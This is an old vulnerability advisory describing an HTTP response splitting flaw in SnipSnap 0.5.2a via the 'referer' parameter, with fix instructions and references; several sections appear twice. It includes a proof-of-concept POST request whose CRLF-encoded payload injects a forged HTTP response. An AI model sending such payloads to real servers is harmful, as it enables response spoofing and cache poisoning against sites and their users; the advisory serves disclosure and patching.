SnipSnap HTTP Response Splitting Vulnerability
BID:11180
Info
SnipSnap HTTP Response Splitting Vulnerability
| Bugtraq ID: | 11180 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 14 2004 12:00AM |
| Updated: | Sep 14 2004 12:00AM |
| Credit: | Discovery is credited to "Maestro De-Seguridad" <[email protected]>. |
| Vulnerable: |
SnipSnap SnipSnap 0.5.2 a |
| Not Vulnerable: |
SnipSnap SnipSnap 1.0 b1 |
Discussion
SnipSnap HTTP Response Splitting Vulnerability
SnipSnap is reported prone to an HTTP response splitting vulnerability. The issue exists in the 'referer' parameter. The issue presents itself due to a flaw in the application that allows an attacker to manipulate how POST requests are handled.
This issue was identified in SnipSnap 0.5.2a and prior.
SnipSnap is reported prone to an HTTP response splitting vulnerability. The issue exists in the 'referer' parameter. The issue presents itself due to a flaw in the application that allows an attacker to manipulate how POST requests are handled.
This issue was identified in SnipSnap 0.5.2a and prior.
Exploit / POC
SnipSnap HTTP Response Splitting Vulnerability
The following proof of concept example is available:
POST /exec/authenticate HTTP/1.0
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-length: 197
referer=abc%0d%0aConnection:%20keep-alive%0d%0aContent-Length:%200%0d%0a%0d%
0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:20%0d%
0a%0d%0a<html>0wned!!</html>&cancel=cancel
The following proof of concept example is available:
POST /exec/authenticate HTTP/1.0
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-length: 197
referer=abc%0d%0aConnection:%20keep-alive%0d%0aContent-Length:%200%0d%0a%0d%
0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:20%0d%
0a%0d%0a<html>0wned!!</html>&cancel=cancel
Solution / Fix
SnipSnap HTTP Response Splitting Vulnerability
Solution:
Gentoo has released updates that may be applied with the following commands:
emerge sync
emerge -pv ">=dev-java/snipsnap-bin-1.0_beta1"
emerge ">=dev-java/snipsnap-bin-1.0beta1"
SnipSnap 1.0b1 is available to address this issue:
SnipSnap SnipSnap 0.5.2 a
Solution:
Gentoo has released updates that may be applied with the following commands:
emerge sync
emerge -pv ">=dev-java/snipsnap-bin-1.0_beta1"
emerge ">=dev-java/snipsnap-bin-1.0beta1"
SnipSnap 1.0b1 is available to address this issue:
SnipSnap SnipSnap 0.5.2 a
-
SnipSnap SnipSnap 1.0b1
http://snipsnap.org/space/snipsnap-DOWNLOAD
References
SnipSnap HTTP Response Splitting Vulnerability
References:
References:
- SnipSnap (SnipSnap)
- ADVISORY: http response splitting in snipsnap ("Maestro De-Seguridad"